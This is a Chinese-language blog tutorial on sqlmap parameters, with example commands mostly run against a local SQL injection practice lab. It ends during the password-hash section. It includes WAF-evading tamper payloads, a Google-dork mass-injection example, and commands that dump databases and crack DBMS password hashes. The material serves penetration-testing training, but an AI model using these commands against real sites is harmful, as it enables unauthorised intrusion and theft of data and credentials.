sqlmap重要参数详解+用法,解决入门难题
sqlmap重要參數詳解
-
- 背景
-
- 附帶大佬翻譯鏈接
- SqlMap介紹
- SqlMap探測 **必要** 參數
-
- 目標
-
- -d 直連數據庫
- -u目標 URL
- -l從 Burp 或 WebScarab 代理日志解析目標
- -m 通過文本文件提供一個目標 的URLs 列表
- -r從文件中載入 HTTP 請求
- -g根據 Google dork 返回結果測試并注入
- -c從 INI 配置文件中讀取選項
- --save將選項保存在配置INI文件中
- --random-agent或--user-agent
- 延時: --delay
- 選項:-p,--skip 和 --param-exclude
- 隨機更改給定參數的值選項: --randomize *
- 避免過多請求失敗使會話被銷毀:--safe-url
- 忽略會話文件中的查詢結果:--fresh-queries
- 修改注入數據選項:--tamper
- 級別選項:--level
- 風險選項:--risk (修改注入點不推薦使用3,默認1)
- SQL注入技術選項:--technique
- 設置時間型盲注延遲響應秒數:--time-sec
- 指定聯合查詢注入中的列數:--union-cols
- 繞過反 CSRF 防護:--csrf-token 和 --csrf-url
- 強制使用 SSL/HTTPS:--force-ssl
- 并發 HTTP(S) 請求:--threads
- 標語(Banner)
-
- 注入分類(特別關注)
-
- 指定 DBMS類型:--dbms
- 指定 DBMS 操作系統名稱:--os
- 雜項參數
-
- -v 輸出詳細等級
- 枚舉(*所以都重要)
-
- 獲取全部數據(慎用): --all
- 標語(Banner): -b 或 --banner
- 當前會話用戶: --current-user
- 當前數據庫: --current-db
- 服務器主機名: --hostname
- 檢測當前會話用戶是否為數據庫管理員: --is-dba
- 列出 DBMS 所有用戶: --users
- 列出和破解 DBMS 用戶的密碼哈希: --passwords
- 列出 DBMS 所有用戶權限: --privileges
- 列出 DBMS 所有用戶角色: --roles
- 列出 DBMS 所有數據庫 : --dbs
- 枚舉數據表 : --tables , --exclude-sysdbs , -D
- 枚舉數據表的列名: --columns , -C , -T , -D
- 枚舉 DBMS 模式(慎用): --schema 和 --exclude-sysdbs
- 獲取數據表的數據條目數: --count
- 導出數據表條目
- 導出所有數據表條目
- 搜索列,表或數據庫: --search , -C , -T , -D
- 運行自定義 SQL 語句: --sql-query 和 --sql-shell
背景
當前博文只是將個人感覺重要的參數列舉出來,非完整參數;
本文中文字描述,大部分是機器翻譯,部分參考大佬翻譯項目,附帶的使用語句大多數是學習時總結的,僅供參考,如有錯誤歡迎指出,謝謝;
附帶大佬翻譯鏈接
https://github.com/itechub/sqlmap-wiki-zhcn
SqlMap介紹
sqlmap是一個開源的滲透測試工具,它可以自動化檢測和利用SQL注入缺陷以及接管數據庫服務器的過程。它有一個強大的檢測引擎,許多適合于終極滲透測試的小眾特性和廣泛的開關,從數據庫指紋、從數據庫獲取數據到訪問底層文件系統和通過帶外連接在操作系統上執行命令。
官方網址:http://sqlmap.orgl
SqlMap探測 必要 參數
目標
-d 直連數據庫
- 選項:-d
針對單一數據庫實例運行 sqlmap 工具。這個選項可設置為下面格式的連接字符串:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等。)
DBMS://DATABASE_FILEPATH(SQLite,Microsoft Access,Firebird 等。)
例如:
$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\ er --dbs --users
-u目標 URL
選項:-u 或 --url針對單一目標 URL 運行 sqlmap。
這個選項可設置為下面格式的URL:http(s)😕/targeturl[:port]/[…]
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\ -users
-l從 Burp 或 WebScarab 代理日志解析目標
- 選項:-l
除了可以提供單個目標 URL,還可以測試并注入 Burp 代理或者 WebScarab 代理代理的 HTTP 請求。使用這個參數時,需要提供代理 HTTP 請求的日志文件。從給定的文本文件(http請求,Burp日志或代理日志)讀取多個目標進行掃描
## 將Burp suiter截取的請求文件存儲到~/test/目錄下┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -l ~/test/post_test.txt --dbs --batch
-m 通過文本文件提供一個目標 的URLs 列表
- 選項:-m
通過文本文件提供一個目標 URLs 列表,sqlmap 會逐個進行掃描檢測。
樣本文件所提供的 URLs 列表示例:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
## -m_test.txt文件內容
http://192.168.138.20/Less-1/?id=1
http://192.168.138.20/Less-2/?id=1
http://192.168.138.20/Less-3/?id=1┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -m ~/test/-m_test.txt --dbs --batch
-r從文件中載入 HTTP 請求
- 選項:-r
sqlmap 可以從一個文本中讀取原始的 HTTP 請求。通過這種方式,你能夠免于設置部分選項(例如:設置 cookies,POST 數據等參數)。
HTTP 請求文件數據樣本如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
如果相關的請求是 HTTPS,你可以結合 --force-ssl 開關強制使用 SSL 進行 443/tcp 連接。或者,你可以在 Host 頭部信息后面直接加上 :443。使用 Google dork 結果作為目標地址
## -r 多用在POST請求中,需要在數據包字段中手動添加注入點,即*號## Referer注入,在Referer注入后添加*號,例## Referer: http://192.168.138.20/Less-11/*## 其他同理,cookie 。。。┌──(kali2021?kali2021)-[~]
└─$ cat ~/test/post_test.txt
POST /Less-11/ HTTP/1.1
Host: 192.168.138.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.138.20
Connection: close
Referer: http://192.168.138.20/Less-11/
Upgrade-Insecure-Requests: 1uname=admin&passwd=admin*&submit=Submit
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -r ~/test/post_test.txt --dbs --batch
或者
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -r ~/test/post_test.txt --dbs --batch## HTTPS
## sqlmap同時也支持https的sql注入,只需加入參數-force-ssl告訴sqlmap這是https服務即可。如
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl (默認不是443,在后加其端口)
-g根據 Google dork 返回結果測試并注入
- 選項:-g
sqlmap 同時支持根據 Google dork 返回結果測試并注入 GET 參數。>這個選項使得 sqlmap 能夠和搜索引擎當前會話 cookies 進行內容交互,進行相關的搜索操作。
然后 sqlmap 會獲取 Google dork 表達式篩選出的前 100 個返回結果及附帶的 GET 參數,并且詢問你是否對每個可能存在注入的 URL 進行測試注入。
例如:
$ python sqlmap.py -g "inurl:\".php?id=1\""
-c從 INI 配置文件中讀取選項
-選項:-c
sqlmap 支持從 INI 配置文件中讀取用戶的選項配置,例如:sqlmap.conf。
需要注意的是,如果你在命令行調用時,同時提供了相關的選項設置,則配置文件中的選項會被覆蓋失效。
–save將選項保存在配置INI文件中
選項: --save
可以將命令行選項保存到配置INI文件中。然后可以編輯生成的文件,并使用上述-c選項將其傳遞到sqlmap 。
## 將常用命令配置保存到/usr/local/test/save.txt目錄下,
┌──(kali2021?kali2021)-[/usr/local/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" --random-agent --batch --safe-url "http://192.168.138.20/Less-2/?id=1" --safe-freq 3 --delay 1 --threads 10 --level 3 --risk 2 --eta --save /usr/local/test/save.txt######################################################################################################┌──(root💀kali2021)-[~/.local/share/sqlmap/output]
└─# cat /usr/local/test/save.txt
[Target]
url = http://192.168.138.20/Less-1/?id=1[Optimization]
threads = 10
... ....
## 通過-c命令讀取配置
┌──(kali2021?kali2021)-[/usr/local/test]
└─$ sudo sqlmap -c /usr/local/test/save.txt -u "http://192.168.138.20/Less-11/index.php" --forms --dbs## 新輸入的命令,優先級高于讀取的ini配置文件;
## 即,save.txt文件 url處,填寫了命令,但是我們在命令行桌面上,重新輸入了一個新的url地址,則執行新url地址;
–random-agent或–user-agent
默認情況下,sqlmap使用以下User-Agent標頭值執行HTTP請求:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mN27FsCZ-1628146042575)(en-resource://database/3060:1)]
但是,可以–user-agent通過提供自定義User-Agent作為選項的參數來偽造該選項。此外,通過設置開關–random-agent,SqlMap的將隨機選擇一個User-Agent從./txt/user-agents.txt文本文件,并使用它的會話中的所有HTTP請求。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" --random-agent --dbs --batch
延時: --delay
可以指定在每個HTTP(S)請求之間保留的秒數。有效值為浮點型,例如0.5表示半秒。默認情況下,不設置延遲。
## 每隔1秒鐘,發送一個請求
┌──(kali2021?kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --delay 1
選項:-p,–skip 和 --param-exclude
默認情況下 sqlmap 會測試所有 GET 參數和 POST 參數。
當 --level 的值 >= 2,它還會測試 HTTP Cookie 頭部值。
當這個值 >= 3 時,它還會測試 HTTP User-Agent 和 HTTP Referer 頭部值。
而且還可以手動指定一個需要 sqlmap 進行測試的、使用逗號分隔的參數列表。
這會使 sqlmap 忽略 --level 的設置。例如,只需要測試 GET 參數 id 和 HTTP User-Agent 時,則提供 -p “id,user-agent”。
如果使用-p 指定 user-agent,則–level不生效;
如果用戶想要排除測試某些參數,可以使用選項 --skip。
如果需要使用高級別 --level 值,并指定部分可用參數(排除通常被測試的 HTTP 頭)時,這個選項非常有用。
例如,要在 --level=5 跳過測試 HTTP User-Agent 和 HTTP Referer,可以提供 --skip=“user-agent,referer”。
還可以基于正則表達式針對參數名稱來排除對某些參數的測試。在這種情況下,用戶可以使用選項 --param-exclude。例如,要跳過對名稱中包含 token 或 session 的參數測試,可以提供 --param-exclude=“token|session”。
-p 只測試指定注入點
--skip 不測試的參數注入點,與--level 配合使用
--param-exclude 正則表達式排除url參數信息(不包括user-agent,cookie,headers等),不測試參數注入點## -p 只測試指定注入點
## Referer測試注入
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch -p "Referer" --dbs## -p 只測試passwd注入點
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-11/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs -p "passwd"## 排除referer
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch -skip "Referer" --dbs ## 根據正則排除
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --param-exclude="id"
隨機更改給定參數的值選項: --randomize *
可以指定要在每個請求期間隨機更改其值的參數名稱。長度和類型將根據提供的原始值保留。
若不指定randomize id , id每次都等于1,指定后為,隨機類型的參數
┌──(kali2021?kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --randomize id --batch --dbs
避免過多請求失敗使會話被銷毀:–safe-url
–safe-url,–safe-post,–safe-req和–safe-freq
有時,如果執行一定數量的不成功請求,則介于兩者之間的Web應用程序或檢查技術會破壞會話。這可能在sqlmap的檢測階段或利用任何一種盲目SQL注入類型時發生。原因是SQL有效負載不一定返回輸出,因此可能會向應用程序會話管理或檢查技術發出信號。
要繞過目標設置的限制,可以提供任何(或組合)選項:
–safe-url:測試期間經常訪問的URL地址。
–safe-post:將HTTP POST數據發送到給定的安全URL地址。
–safe-req:從文件加載并使用安全的HTTP請求。
–safe-freq:測試兩次訪問給定安全位置之間的請求。
這樣,sqlmap將在每個預定義數量的請求中訪問某個安全URL,而無需對其進行任何類型的注入。
- –safe-url “http://192.168.138.20/Less-12/index.php” ,必須與safe-freq一起使用;
- –safe-post “uname=admin&passwd=admin&submit=Submit” , 不能用在重復登錄上,僅供參考
- –safe-req ~/test/safe_test.txt (http請求數據包,僅一條url)
- –safe-freq 3 每訪問3次注入點-u “url”,就訪問一次安全的其他url地址,即設置的safe-url;必須與safe-url一起使用;[Safe frequency 安全頻率]
## 示例safe-url和safe-freq
┌──(kali2021?kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --safe-url "http://192.168.138.20/Less-12/index.php" --safe-freq 3## 提交post的參數
┌──(kali2021?kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --safe-url "http://192.168.138.20/Less-12/index.php" --safe-post "uname=admin&passwd=admin&submit=Submit" --safe-freq 3## 執行--safe-req 讀取文件 safe-freq 設置頻次
┌──(kali2021?kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" -safe-req ~/test/safe_test.txt -safe-freq 3 --batch## 讀取文件中的http請求,作為安全訪問,只能存入一條數據
cat ~/test/safe_test.txtGET /Less-2/index.php?id=1 HTTP/1.1
Host: 192.168.138.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
忽略會話文件中的查詢結果:–fresh-queries
- 開關:–fresh-queries
經過上面的描述,相信你已經熟悉了會話文件的概念,值得注意的是,你可以使用–fresh-queries 這個開關忽略指定的會話文件。這樣你就可以保持某次運行的特定會話文件內容不被修改,從而避免查詢結果的重復嘗試/恢復。
## sqlmap查詢一個庫一個表的數據 ,都會寫在緩存里面,提高數據,且這個數據不斷在變化,
## 再去查詢的時候數據還是第一次查詢的數據那樣不變,這個時候我們可以用sqlmap自帶的--fresh-queries參數,
## 使用這個參數sqlmap將不會從緩存里面加載,從而能注入到數據庫最新數據。
## 每次就不需要刪除/root下的緩存文件了┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" -D security -T users --threads=10 --dump --eta --batch --fresh-queries
修改注入數據選項:–tamper
sqlmap 本身不會混淆發送的 payload,除了將單引號之間的字符串用諸如 CHAR() 進行替換。
如果后端 DBMS 與用戶輸入內容存在較弱驗證機制的情況下,此選項會非常有用。這種驗證機制通常是由應用程序源代碼調用自行開發的輸入驗證例程,如昂貴的企業級 IPS 設備或 Web 應用程序防火墻(WAF)。
一言蔽之,它們通常以不同的方式實現并且需要花費大量資金。要利用此選項,需要為 sqlmap 提供逗號分隔的修改腳本列表,這將處理 payload 并返回轉換結果。
你可以定義自己的修改腳本,編輯使用 sqlmap tamper/ 文件夾中的腳本,并使用逗號分隔連接它們作為 --tamper 選項的值(例如:–tamper=“between,randomcase”)。
- 合法的修改腳本格式如下:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
你可以在 tamper/ 目錄中查看有效和可用的修改腳本。針對 MySQL 目標,假定字符 >、空格和大寫的 SELECT 字符串被禁止:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1"
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]
級別選項:–level
使用這個選項需要給出一個參數用于指定即將進行檢測的級別。
總共有五個級別。默認的級別是 1,該級別只會進行簡單的檢測(請求)。
與之不同的是,級別 5 會更詳細地對更大范圍 payloads 和 boundaries(作為 SQL payload 的前綴和后綴)進行檢測。
sqlmap 使用的 payloads 直接從文本文件 xml/payloads.xml 中載入。根據該文件頂部的相關指導說明進行設置,如果 sqlmap 漏過了特定的注入,你可以選擇自己修改指定的 payload 用于檢測。
這個選項設置不止會影響 sqlmap 使用的 payload,還會影響到相關的測試注入點:
- 測試 GET 和 POST 的相關參數,級別大于等于 2 則會測試 HTTP Cookie 頭部,
- 級別大于等于 3 則會測試 HTTP UserAgent/Referer 頭部值。
- 總而言之, 如果 SQL 注入檢測的難度越高,則需要設定越高的 --level 值。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level 3
強烈建議在向 sqlmap 郵件列表反饋 sqlmap 無法檢測到特定類型的注入之前,嘗試設定一個更高的 --level 值用于檢測。
風險選項:–risk (修改注入點不推薦使用3,默認1)
這個選項需要給出一個參數用于指定即將進行檢測的風險程度。總共有三個風險級別。
- 默認的級別是1,對大多數 SQL 注入點而言是沒有任何風險的。
- 風險級別 2 則會在默認的檢測上添加大量時間型盲注(Time-based blind)語句測試,
- 級別 3 則會在原基礎上添加OR 類型的布爾型盲注(Boolean-based blind)測試。
在某些場景下,例如對 UPDATE 語句進行 SQL 注入,注入一個 OR 類型的 payload 會導致目標數據表的所有記錄進行更新,顯然這個不是攻擊者想要的結果。
針對這個場景及其他相關場景,sqlmap 引入了 --risk 這個選項。
通過這個選項:
- 用戶可以指定檢測特定的 payload,同時用戶可任意選擇使用可能比較危險的操作。
- 正如上面的選項提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml 載入的,該文件支持用戶自定義編輯添加。
## 需要配合 -p 或者-level使用
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs -p "Referer" --risk 2┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level 3 --risk 2
SQL注入技術選項:–technique
此選項用于指定需要測試的 SQL 注入類型。
默認情況下 sqlmap 會測試它支持的所有類型/技術。
在某些情況下,你可能只想測試一種或幾種特定類型的 SQL 注入,這便是該選項存在的作用。此選項需要一個參數值。該參數是由 B,E,U,S,T 和 Q 這樣的字符任意組合成的字符串,每個字母代表不同的技術:
- B:布爾型盲注(Boolean-based blind)
- E:報錯型注入(Error-based)
- U:聯合查詢注入(UNION query-based)
- S:堆疊查詢注入(Stacked queries)
- T:時間型盲注(Time-based blind)
- Q:內聯查詢注入(inline Query)
例如,如果僅測試利用報錯型注入和堆疊查詢注入,你可以提供 ES。默認值為 BEUSTQ。
注意,當你需要訪問文件系統,接管操作系統或訪問 Windows 注冊表配置單元時,提供的字符串必須包含代表堆疊查詢技術的字母 S。
## 默認即可
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --technique BU
設置時間型盲注延遲響應秒數:–time-sec
設置時間型盲注中 DBMS(Database Management System,數據庫管理系統)延遲響應秒數
選項:–time-sec為 --time-sec 提供一個整數,可以設置時間型盲注響應的延遲時間。默認情況下,它的值為 5 秒。
## 默認即可
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --technique T --time-sec 3
指定聯合查詢注入中的列數:–union-cols
選項:–union-cols默認情況下,sqlmap 進行聯合查詢注入時使用 1 到 10 列。
當然,可以通過提供更高的–level 值將該范圍增加到最多 50 列。
有關詳細信息,請參閱相關段落。你可以手動指定選項 --union-cols 和相應的數字范圍,以針對該類型的 SQL 注入測試特定范圍的列。
例如,12-16 代表進行 12 到 16 列的聯合查詢注入測試。
## 默認即可
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --technique U --union-cols 2-5
繞過反 CSRF 防護:–csrf-token 和 --csrf-url
–csrf-token 、 --csrf-url
- 選項:–csrf-token 和 --csrf-url
許多站點有使用 token 的反 CSRF 防護,在每個頁面的響應隨機設置隱藏字段值。
sqlmap 將自動嘗試識別并繞過這種防護,同時支持 --csrf-token 和 --csrf-url 等選項用來做進一步調整。
選項 --csrf-token 用于設置包含隨機 token 的隱藏字段的名稱。這在網站對這些字段使用非標準名稱的情況下是非常有用的。
選項 --csrf-url 用于從任意有效的 URL 地址獲取 token 值。這在目標網址在初始地不包含必需的 token 值,而需要從其他地方提取時是非常有用的。
強制使用 SSL/HTTPS:–force-ssl
- 開關:–force-ssl
如果想要對目標強制使用 SSL/HTTPS 請求,可以使用此開關。在使用選項 --crawl 收集 URLs 或者使用選項 -l 提供 Burp 日志時,該開關是很有用的。
## HTTPS
## sqlmap同時也支持https的sql注入,只需加入參數-force-ssl告訴sqlmap這是https服務即可。如┌──(kali2021?kali2021)-[~/test]
└─$ sudo sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl (默認不是443,在后加其端口)
并發 HTTP(S) 請求:–threads
- 選項:
--threads
sqlmap 中支持設定 HTTP(S) 請求最大并發數。 這個特性依賴于多線程,因而繼承了多線程的優點和缺陷。
當數據是通過 SQL 盲注技術,或者使用暴力破解相關開關獲取時,可以運用這個特性。
對于 SQL 盲注技術,sqlmap 首先在單線程中計算出查詢目標的長度,然后啟用多線程特性,為每一個線程分配查詢的一個字符。
當該字符被成功獲取后,線程會結束并退出——結合 sqlmap 中實現的折半算法,每個線程最多發起 7 次 HTTP(S) 請求。
考慮運行性能和目標站點的可靠性因素,sqlmap 最大的并發請求數只能設置到 10。
值得注意的是,這個選項不能跟 --predict-output 一起使用。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --threads 10
標語(Banner)
- 開關:
-b或--banner
大多數現代 DBMS 具有一個函數和/或一個環境變量,它會返回 DBMS 版本,并最終在其補丁級別詳細介紹底層系統。通常這個函數是 version() ,環境變量是 @@version,這取決于目標 DBMS。
針對 Oracle 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
注入分類(特別關注)
指定 DBMS類型:–dbms
- 選項:
--dbms
默認情況下 sqlmap 會自動檢測 Web 應用程序的后端 DBMS。sqlmap 完全支持以下 DBMS:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
- Informix
- MariaDB
- Percona
- MemSQL
- TiDB
- CockroachDB
- HSQLDB
- H2
- MonetDB
- Apache Derby
- Vertica
- Mckoi
- Presto
- Altibase
如果由于某些原因 sqlmap 已經識別出 SQL 注入卻無法檢測到后端 DBMS 類型,或者你想避免執行指紋信息收集,可以自己提供后端 DBMS 的名稱(例如:
postgresql)。對于 MySQL 和 Microsoft SQL Server 分別以
MySQL <version>和Microsoft SQL Server <version>的形式提供,其中<version>是指 DBMS 的有效版本;例如 MySQL 為5.0,Microsoft SQL Server 為2005。
如果你同時使用 --dbms 和-f或--fingerprint,sqlmap 將只對指定的 DBMS 執行詳細的指紋收集,更詳細的信息請閱讀下文。
注意,此選項不是強制性的,強烈建議僅當你絕對確定后端 DBMS 時使用它。如果你不知道,就讓 sqlmap 自動為你識別指紋信息。
## 指定數據庫指紋
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --dbms mysql -f## -f 和 --dbms mysql輸出結果差不多,唯一區別是如果指定了--dbms sqlmap會加快探測速度
指定 DBMS 操作系統名稱:–os
- 選項:
--os
默認情況下,當此信息是任何開關或選項的依賴時,sqlmap 會自動檢測 Web 應用程序后端 DBMS 的底層操作系統信息。 目前完全支持的操作系統有:
- Linux
- Windows
你可以強制指定已知的操作系統類型,這樣 sqlmap 將避免對該信息進行檢測。
注意,此選項不是強制性的,強烈建議僅當你絕對確定后端 DBMS 底層操作系統時使用它。如果你不知道,就讓 sqlmap 自動為你識別。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --os Linux
雜項參數
-v 輸出詳細等級
- 選項:-v 輸出詳細等級
該選項用于設置輸出信息的詳細等級,共有七個級別。默認級別為 1,輸出包括普通信息,警告,錯誤,關鍵信息和 Python 出錯回遡信息(如果有的話)。0:只輸出 Python 出錯回溯信息,錯誤和關鍵信息。
1:增加輸出普通信息和警告信息。
2:增加輸出調試信息。
3:增加輸出已注入的 payloads。
4:增加輸出 HTTP 請求。
5:增加輸出 HTTP 響應頭
6:增加輸出 HTTP 響應內容。
如果你想知道 sqlmap 發送了什么 SQL payloads,等級 3 是最佳選擇。
在你為開發者系統提供潛在的 Bug 報告時,推薦使用這個等級,同時附加上使用選項 -t 生成的流量日志文件標準輸出文件(-t導出的文件只記錄,http請求頭和response響應體)。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" --random-agent --level 3 --risk 2 -v5 -t /usr/local/test/2.txt
枚舉(*所以都重要)
? 以下選項可用于枚舉后端 DBMS(Database Management System,數據庫管理系統)信息、表結構和表中包含的數據。此外,你還可以運行自定義的SQL 語句。
獲取全部數據(慎用): --all
- 開關:
--all
當用戶想要通過使用單個開關遠程獲取所有可訪問數據信息,可以使用該開關。通常不建議這么做,因為它會產生大量的請求同時獲取有用無用的數據。
## --all 命令會將數據庫中的所有的信息拉取到本地中
## 所有文件會保存當一下目錄中
/root/.local/share/sqlmap/output/192.168.138.20/dump
## dump目錄結構與數據庫一致## dump目錄文件
所有的.csv,都是表數據,首行別結果,其他為數據,每列以","分割
標語(Banner): -b 或 --banner
- 開關:
-b或--banner
大多數現代 DBMS 具有一個函數和/或一個環境變量,它會返回 DBMS 版本,并最終在其補丁級別詳細介紹底層系統。通常這個函數是 version() ,環境變量是 @@version,這取決于目標 DBMS。
針對 Oracle 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
當前會話用戶: --current-user
開關:--current-user
使用此開關,可以從 Web 應用程序中獲取到當前正在執行相關數據庫查詢操作的 DBMS 用戶。
## 獲取當前連接的用戶
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --current-user
當前數據庫: --current-db
開關:--current-db
使用此開關可以獲取 Web 應用程序連接到的 DBMS 數據庫名稱。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --current-db
服務器主機名: --hostname
- 開關:
--hostname
使用此開關可以獲取 DBMS 所在的主機名。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
檢測當前會話用戶是否為數據庫管理員: --is-dba
開關:--is-dba
可以檢測當前 DBMS 會話用戶是否為數據庫管理員,也稱為 DBA。如果是,sqlmap 將返回 True,否則返回 False。
## 不是很準確
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --is-dba
列出 DBMS 所有用戶: --users
開關:--users
如果當前會話用戶對包含 DBMS 用戶信息的系統表有讀取權限,可以枚舉用戶列表。
┌──(kali2021?kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --users
列出和破解 DBMS 用戶的密碼哈希: --passwords
- 開關:
--passwords
如果當前會話用戶對包含 DBMS 用戶密碼信息的系統表有讀取權限,則可以枚舉每個 DBMS 用戶的密碼哈希值。sqlmap 將會枚舉所有用戶,及一一對應的用戶密碼哈希。
針對 PostgreSQL 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
